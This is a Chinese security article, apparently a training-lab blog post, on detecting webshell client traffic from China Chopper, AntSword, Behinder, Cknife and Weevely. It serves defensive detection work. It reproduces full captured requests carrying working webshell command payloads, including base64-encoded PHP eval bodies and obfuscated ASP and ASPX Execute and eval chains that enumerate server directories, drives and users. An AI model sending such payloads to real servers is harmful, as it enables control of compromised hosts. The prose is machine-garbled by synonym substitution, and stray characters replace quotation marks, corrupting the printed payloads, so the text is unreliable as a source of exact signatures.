01

概述

开始之前先明确什么是webshell客户端?先问个问题,什么是客户端,什么是做事端?

菜刀可以连接jsp常见WebShell客户端的流量特点及检测思绪 RESTful API

很大略,供应做事的便是做事端,哀求被做事的便是客户端。
那么回到我们的场景中,如果已经种了后门,用于连接后门的程序是哀求被做事的,比如实行个ps,目的是为了得到后门所在主机的进程列表,是“被做事“的,以是称之为客户端。
本文将在后续先容一系列有关webshell客户真个流量监测手腕。

WebShell客户端是一种用于做事器上WebShell后门与攻击客户端之间进行通信的程序,我们常日可以根据WebShell客户真个流量来判断做事器上是否存在WebShell后门。

如今国内外常用的WebShell客户端有如下几种:

中国菜刀(利用量最大,适用范围最广的WebShell客户端);

蚁剑(一种常用的WebShell客户端);

冰蝎(流量加密客户端);

Cknife(C刀,利用Java措辞编写)

Weevely(kali中的中国菜刀)。

接下来分别先容其流量特色。

02

中国菜刀(Chopper)

中国菜刀自出身以来已经历了多个版本的更新,其功能、隐秘性也随着更新得到很大提升。
菜刀现在主流有三个版本在利用,分别为2011版、2014版、2016版,这三个版本中从2011版本到2014版本是功能性上进行了增强,从2014版本到2016版本是在隐秘性上进行了增强,2016版本的菜刀流量加入了稠浊,使其链接流量更具有稠浊性。

中国菜刀基本支持PHP、JSP、ASP这三种WebShell的连接,这三种措辞所对应的流量各有差异,各个版本也有不用。
下面将按照不同版天职歧措辞组合进行剖析。
个中2011版和2014版菜刀流量特色基本同等,以是放在一起剖析。

中国菜刀2011版本及2014版本各措辞WebShell链接流量特色

(1)PHP类WebShell链接流量

POST /webshell.php HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 40.83.114.50

Referer: http://192.168.180.226

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: 192.168.180.226

Content-Length: 685

Connection: Close

=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

个中特色紧张在body中,将body中流量进行url解码后如下:

=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

个中特色点有如下三部分,

第一:“eval”,eval函数用于实行通报的攻击payload,这是必不可少的;

第二:(base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,由于菜刀默认是将攻击载荷利用Base64编码,以避免被检测;

第三:&z0=QGluaV9zZXQ...,该部分是通报攻击payload,此参数z0对应$_POST[z0]吸收到的数据,该参数值是利用Base64编码的,以是可以利用base64解码可以看到攻击明文。

注:

1.有少数时候eval方法会被assert方法替代。

2.$_POST也会被$_GET、$_REQUEST替代。

3.z0是菜刀默认的参数,这个地方也有可能被修正为其他参数名。

(2)JSP类WebShell链接流量:

POST /muma.jsp HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 213.225.150.214

Referer: http://192.200.41.103

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: 192.200.41.103:8090

Content-Length: 13

Connection: Close

i=A&z0=GB2312

该流量是WebShell链接流量的第一段链接流量,个中特色紧张在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,个中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=参数用来加入攻击载荷。

注:个中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最紧张便是第一个参数值在A-Q,这种是不变的。

(3)ASP类WebShell链接流量:

POST /server.asp HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 177.169.197.49

Referer: http://192.168.180.226

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: 192.168.180.226

Content-Length: 968

Connection: Close

caidao=Execute(\"大众Execute(\公众\"大众On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(\公众\"大众\公众\公众->|\"大众\"大众\公众\"大众):Execute(\"大众\"大众\"大众\"大众On+Error+Resume+Next:\"大众\"大众\"大众\"大众%26bd(\公众\"大众\公众\"大众44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329\公众\公众\"大众\公众)):Response.Write(\"大众\"大众\公众\"大众|<-\公众\"大众\"大众\"大众):Response.End\公众\公众)\"大众)

个中body流量进行URL解码后

caidao=Execute(\公众Execute(\"大众\"大众OnError Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1))Then:Execute(\"大众\"大众\"大众\公众bd=bd&chr(&H\"大众\"大众\"大众\"大众&c&\"大众\"大众\"大众\"大众)\"大众\"大众\公众\"大众):Else:Execute(\"大众\"大众\公众\"大众bd=bd&chr(&H\公众\"大众\"大众\公众&c&Mid(s,i+2,2)&\公众\"大众\"大众\"大众)\"大众\公众\"大众\"大众):i=i+2:EndIf\"大众\"大众&chr(10)&\"大众\"大众Next:EndFunction:Response.Write(\"大众\公众\"大众\公众->|\"大众\"大众\"大众\公众):Execute(\公众\"大众\公众\"大众OnError ResumeNext:\"大众\"大众\"大众\公众&bd(\"大众\"大众\公众\"大众44696D20533A533D5365727665722E4D61707061746828222E2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329\公众\公众\公众\"大众)):Response.Write(\公众\"大众\"大众\"大众|<-\"大众\公众\"大众\公众):Response.End\公众\"大众)\公众)

个中特色点有如下三部分,

第一:“Execute”,Execute函数用于实行通报的攻击payload,这是必不可少的,这个等同于php类中eval函数;

第二:OnError ResumeNext,这部分是大部分ASP客户端中必有的流量,能担保不管前面出任何错,连续实行以下代码

第三:Response.Write和Response.End是必有的,是来完善全体操作的。

这种流量紧张识别这几部分特色,在正常流量中基本没有。

注:OnError Resume Next这个特色在大部分流量中存在,极少数情形没有。

中国菜刀2016版本各措辞WebShell链接流量特色

PHP类WebShell链接流量

POST /webshell.php HTTP/1.1

X-Forwarded-For: 50.182.119.137

Referer: http://192.168.180.226/

Content-Type: application/x-www-form-urlencoded

Host: 192.168.180.226

Content-Length: 673

Cache-Control: no-cache

=array_map(\公众ass\"大众.\"大众ert\"大众,array(\"大众ev\"大众.\"大众Al(\\公众\\\$xx%3D\\\\"大众Ba\公众.\"大众SE6\"大众.\公众4_dEc\"大众.\"大众OdE\\\\"大众;@ev\"大众.\公众al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\\"大众);\公众));

个中特色紧张在body中,将body中部分如下:

=array_map(\"大众ass\"大众.\"大众ert\"大众,array(\公众ev\"大众.\"大众Al(\\"大众\\\$xx%3D\\\\"大众Ba\"大众.\"大众SE6\"大众.\"大众4_dEc\"大众.\公众OdE\\\\"大众;@ev\公众.\"大众al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\\"大众);\"大众));

这个版本中流量最大的改变便是将特色进行打断稠浊,这也给我们识别特色供应一种思路。

个中特色点有如下三部分,

第一:“\"大众Ba\"大众.\公众SE6\公众.\"大众4_dEc\"大众.\"大众OdE”,这部分是将base64解码打断利用.来连接。

第二:@ev\"大众.\"大众al,这部分也是将@eval这部分进行打断连接,可以识别这段代码即可。

第三:QGluaV9zZXQoImRpc3BsYXlf...,该部分是通报攻击payload,payload依旧利用Base64编码的,以是可以利用base64解码可以看到攻击明文来识别。

注:1.有少数时候eval方法会被assert方法替代。

JSP类WebShell链接流量:

POST /muma.jsp HTTP/1.1

X-Forwarded-For: 89.21.63.3

Referer: http://192.200.41.103:8090/

Content-Type: application/x-www-form-urlencoded

Host: 192.200.41.103:8090

Content-Length: 20

Cache-Control: no-cache

=A&z0=GB2312&z1=&z2=

该版本JSPwebshell流量与之前版本一样,

以是剖析如上:该流量是WebShell链接流量的第一段链接流量,个中特色紧张在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,个中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=、z2=参数用来加入攻击载荷。

注:个中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最紧张便是第一个参数值在A-Q,这种是不变的。

ASP类WebShell链接流量:

POST /server.aspx HTTP/1.1

X-Forwarded-For: 121.125.8.145

Referer: http://192.168.180.226/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)

Host: 192.168.180.226

Content-Length: 639

Cache-Control: no-cache

caidao=%u0052%u0065sponse%u002E%u0057rit%u0065(\公众X@Y\"大众);var%u0065rr:%u0045xc%u0065ption;

%u0074ry%u007B%u0065val(Syst%u0065m%u002ET%u0065xt%u002E%u0045ncoding%u002EG%u0065t%u0045ncoding(936)%u002EG%u0065tString(Syst%u0065m.Conv%u0065rt%u002EFromBas%u006564String(\公众dmFyIGM9U3lzdGVtLklPLkRpcmVjdG9yeS5HZXRMb2dpY2FsRHJpdmVzKCk7UmVzcG9uc2UuV3JpdGUoU2VydmVyLk1hcFBhdGgoIi8iKSsiXHQiKTtmb3IodmFyIGk9MDtpPD1jLmxlbmd0aC0xO2krKylSZXNwb25zZS5Xcml0ZShjW2ldWzBdKyI6Iik7\"大众)),\公众unsaf%u0065\"大众);

%u007Dcatch(err)%u007B%u0052esponse%u002E%u0057rite(\"大众ER\"大众%2B\"大众ROR://\"大众%2Berr.message);%u007D%u0052%u0065sponse.%u0057rit%u0065(\"大众X@Y\公众);%u0052espons%u0065.%u0045nd();

个中body流量为:

caidao=%u0052%u0065sponse%u002E%u0057rit%u0065(\"大众X@Y\"大众);var%u0065rr:%u0045xc%u0065ption;

%u0074ry%u007B%u0065val(Syst%u0065m%u002ET%u0065xt%u002E%u0045ncoding%u002EG%u0065t%u0045ncoding(936)%u002EG%u0065tString(Syst%u0065m.Conv%u0065rt%u002EFromBas%u006564String(\公众dmFyIGM9U3lzdGVtLklPLkRpcmVjdG9yeS5HZXRMb2dpY2FsRHJpdmVzKCk7UmVzcG9uc2UuV3JpdGUoU2VydmVyLk1hcFBhdGgoIi8iKSsiXHQiKTtmb3IodmFyIGk9MDtpPD1jLmxlbmd0aC0xO2krKylSZXNwb25zZS5Xcml0ZShjW2ldWzBdKyI6Iik7\"大众)),\"大众unsaf%u0065\"大众);

%u007Dcatch(err)%u007B%u0052esponse%u002E%u0057rite(\公众ER\公众%2B\"大众ROR://\公众%2Berr.message);%u007D%u0052%u0065sponse.%u0057rit%u0065(\"大众X@Y\"大众);%u0052espons%u0065.%u0045nd();

2016版本流量这链接流量最大的变革在于body中部分字符被unicode编码更换稠浊,以是这种特色须要提取出一种形式来,匹配这个稠浊特色,比如“字符+%u0000+字符+%u0000”这种形式来判断该流量。

或者直接将这部分代码直接进行unicode解码,可以获取到如2011或2014版本的asp所示的流量。
可以根据上一段特色来进行判断。

这种流量紧张识别这几部分特色,在正常流量中基本没有。

03

中国蚁剑(AntSword)

蚁剑的很多代码源于中国菜刀,以是他的链接流量与中国菜刀很相似,但是蚁剑可以扩充性很好,可以对进行加密、稠浊等绕过处理。
蚁剑默认支持ASP以及PHP的webshell链接。

蚁剑PHP类WebShell链接流量

POST /uploadfiles/shell.php HTTP/1.1

Host: 192.168.180.226

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 889

Connection: close

cmd=%40ini_set%28%22display_errors%22%2C%20%220%22%29%3B%40set_time_limit%280%29%3Becho%20%225434f%22%3Btry%7B%24D%3Ddirname%28%24_SERVER%5B%22SCRIPT_FILENAME%22%5D%29%3Bif%28%24D%3D%3D%22%22%29%24D%3Ddirname%28%24_SERVER%5B%22PATH_TRANSLATED%22%5D%29%3B%24R%3D%22%7B%24D%7D%09%22%3Bif%28substr%28%24D%2C0%2C1%29%21%3D%22%2F%22%29%7Bforeach%28range%28%22C%22%2C%22Z%22%29as%20%24L%29if%28is_dir%28%22%7B%24L%7D%3A%22%29%29%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D%28function_exists%28%22posix_getegid%22%29%29%3F%40posix_getpwuid%28%40posix_geteuid%28%29%29%3A%22%22%3B%24s%3D%28%24u%29%3F%24u%5B%22name%22%5D%3A%40get_current_user%28%29%3B%24R.%3Dphp_uname%28%29%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch%28Exception%20%24e%29%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage%28%29%3B%7D%3Becho%20%220a5f4%22%3Bdie%28%29%3B

个中body流量进行URL解码后为:

cmd=@ini_set(\公众display_errors\"大众, \公众0\公众);

@set_time_limit(0);echo\"大众5434f\公众;try{$D=dirname($_SERVER[\"大众SCRIPT_FILENAME\公众]);

if($D==\"大众\"大众)$D=dirname($_SERVER[\公众PATH_TRANSLATED\公众]);$R=\公众{$D}\公众;

if(substr($D,0,1)!=\公众/\"大众){foreach(range(\"大众C\公众,\公众Z\"大众)as$L)

if(is_dir(\公众{$L}:\公众))$R.=\公众{$L}:\公众;}else{$R.=\"大众/\公众;}$R.=\"大众\公众;

$u=(function_exists(\"大众posix_getegid\"大众))?@posix_getpwuid(@posix_geteuid()):\"大众\"大众;$s=($u)?$u[\公众name\"大众]:@get_current_user();

$R.=php_uname();$R.=\"大众{$s}\公众;

echo$R;;}catch(Exception $e){echo \"大众ERROR://\"大众.$e->getMessage();};echo\"大众0a5f4\"大众;die();

个中流量最中明显的特色为@ini_set(\"大众display_errors\"大众,\公众0\"大众);这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,以是较好创造。

蚁剑ASP类WebShell链接流量

POST /uploadfiles/shell.php HTTP/1.1

Host: 192.168.180.226

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 1248

Connection: close

cmd=eval%28%22Ex%22%26cHr%28101%29%26%22cute%28%22%22Server.ScriptTimeout%3D3600%3AOn%20Error%20Resume%20Next%3AFunction%20bd%28byVal%20s%29%3AFor%20i%3D1%20To%20Len%28s%29%20Step%202%3Ac%3DMid%28s%2Ci%2C2%29%3AIf%20IsNumeric%28Mid%28s%2Ci%2C1%29%29%20Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd%20If%22%22%26chr%2810%29%26%22%22Next%3AEnd%20Function%3AResponse.Write%28%22%22%22%22a6bbf%22%22%22%22%29%3AEx%22%26cHr%28101%29%26%22cute%28%22%22%22%22On%20Error%20Resume%20Next%3A%22%22%22%22%26bd%28%22%22%22%2244696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329%22%22%22%22%29%29%3AResponse.Write%28%22%22%22%226a525%22%22%22%22%29%3AResponse.End%22%22%29%22%29

个中body流量进行URL解码后为:

cmd=eval(\公众Ex\"大众&cHr(101)&\公众cute(\公众\公众Server.ScriptTimeout=3600:OnError Resume Next:Function bd(byVal s):For i=1 To Len(s) Step2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1))Then:Execute(\"大众\"大众\公众\"大众bd=bd&chr(&H\公众\公众\公众\公众&c&\"大众\"大众\"大众\"大众)\"大众\"大众\"大众\公众):Else:Execute(\"大众\公众\"大众\"大众bd=bd&chr(&H\"大众\"大众\公众\公众&c&Mid(s,i+2,2)&\"大众\"大众\"大众\公众)\"大众\公众\公众\公众):i=i+2:End If\"大众\"大众&chr(10)&\"大众\"大众Next:EndFunction:Response.Write(\"大众\"大众\"大众\"大众a6bbf\"大众\公众\公众\公众):Ex\"大众&cHr(101)&\"大众cute(\公众\"大众\"大众\"大众OnError ResumeNext:\"大众\"大众\"大众\"大众&bd(\公众\"大众\公众\"大众44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329\公众\公众\"大众\公众)):Response.Write(\公众\"大众\"大众\"大众6a525\"大众\公众\公众\"大众):Response.End\"大众\公众)\"大众)

我们可以看出蚁剑针对ASP类的WebShell流量与菜刀的流量很像,个中特色也是相同,如OnError ResumeNext、Response.End、Response.Write,个中execute在蚁剑中被打断稠浊了,变成了拼接形式Ex\公众&cHr(101)&\"大众cute,同时该流量中也利用了eval参数,可以被认为明显特色。

蚁剑绕过特色流量

由于蚁剑中包含了很多加密、绕过插件,以是导致很多流量被加密后无法识别,但是蚁剑稠浊加密后还有一个比较明显的特色,即为参数名大多以“_0x......=”这种形式(下划线可更换为其他),如下图:

以是,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特色。

04

冰蝎

个中冰蝎是近几年涌现的一种WebShell客户端,该链接器最大的特点便是流量进行加密,且加密秘钥是由利用者来设定,但是该拦截器对WebShell的需求比较高,无法连接一句话木马,综上,该客户真个流量无法检测。

关于其事情事理及功能先容作者已经详细先容:

功能先容链接:

《利用动态二进制加密实现新型一句话木马之客户端篇》https://xz.aliyun.com/t/2799

事情事理链接:

《利用动态二进制加密实现新型一句话木马之Java篇》https://xz.aliyun.com/t/2744

《利用动态二进制加密实现新型一句话木马之.NET篇》https://xz.aliyun.com/t/2758

《利用动态二进制加密实现新型一句话木马之PHP篇》https://xz.aliyun.com/t/2774

05

Cknife

Cknife流量的特色便是在body部分的参数值均为base64编码,将该部分进行base64解码后,其流量特色同中国菜刀同等,以是不再另行展开剖析

06

Weevely

Weevely是kail中自带的一款功能强大的WebShell客户端,该链接器首先自己天生webshell,在将该webshell上传至目的做事器后,通过Weevely进行链接,该链接流量属于加密流量,但是在该流量中还可以创造特色,进行区分。

GET /1.php HTTP/1.1

Accept-Encoding: identity

Accept-Language: yi-YI,pi;q=0.4,ps;q=0.6

Connection: close

Accept:text/html,text/plain;0.9,application/xml;0.8,application/xhtml+xml;0.6,/

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10)Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1

Host: 192.168.180.226

Cookie: PHPSESSID=bbc97776857c779ad2f37d78b0b9064f

Referer:http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=572&ved=DfoNma8EW&url=168.180&ei=wMe1ch8itcFEwSremerALK&usg=1IssmLxJeA7JpizoopzuJyD7NUDEzAqMzr

该流量中的攻击载荷存在于Referer中,个中Referer中的路径中php的查询参数有以下参数名或值,即sa=、source=web、cd=数字、url=、ei=,即可确定该流量为客户端流量。

干系操作推举

全面剖析中国菜刀及隐蔽后门 :理解中国菜刀的特性及其通信事理、机制,学会剖析可能隐蔽的后门及其事情事理。
点击

http://www.hetianlab.com/expc.do?ec=ECIDee9320adea6e062018020614185300001开始操作学习!

声明:笔者初衷用于分享与遍及网络知识,若读者因此作出任何危害网络安全行为后果自大,与合天智汇及原作者无关,本文为合天原创,如需转载,请注明出处!